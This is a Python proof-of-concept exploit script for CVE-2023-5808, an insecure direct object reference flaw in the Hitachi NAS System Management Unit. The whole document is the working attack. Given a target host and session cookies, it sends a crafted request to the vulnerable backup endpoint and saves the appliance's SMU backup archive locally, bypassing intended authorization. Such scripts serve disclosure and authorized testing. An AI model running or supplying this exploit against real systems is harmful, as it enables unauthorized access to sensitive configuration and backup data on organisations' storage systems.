#!/usr/bin/python3 # # Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability # CVE: CVE-2023-5808 # Date: 2023-12-13 # Exploit Author: Arslan Masood (@arszilla) # Vendor: https://www.hitachivantara.com/ # Version: < 14.8.7825.01 # Tested On: 13.9.7021.04 import argparse from datetime import datetime from os import getcwd import requests parser = argparse.ArgumentParser( description="CVE-2023-5808 PoC", usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>" ) # Create --host argument: parser.add_argument( "--host", required=True, type=str, help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443" ) # Create --id argument: parser.add_argument( "--id", required=True, type=str, help="JSESSIONID cookie value" ) # Create --sso argument: parser.add_argument( "--sso", required=True, type=str, help="JSESSIONIDSSO cookie value" ) args = parser.parse_args() def download_file(hostname, jsessionid, jsessionidsso): # Set the filename: filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip" # Vulnerable SMU URL: smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/" # GET request cookies smu_cookies = { "JSESSIONID": jsessionid, "JSESSIONIDSSO": jsessionidsso } # GET request headers: smu_headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Dnt": "1", "Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers", "Connection": "close" } # Send the request: with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download: with open(filename, 'wb') as backup_archive: # Write the zip file to the CWD: backup_archive.write(file_download.content) print(f"{filename} has been downloaded to {getcwd()}") if __name__ == "__main__": download_file(args.host, args.id, args.sso)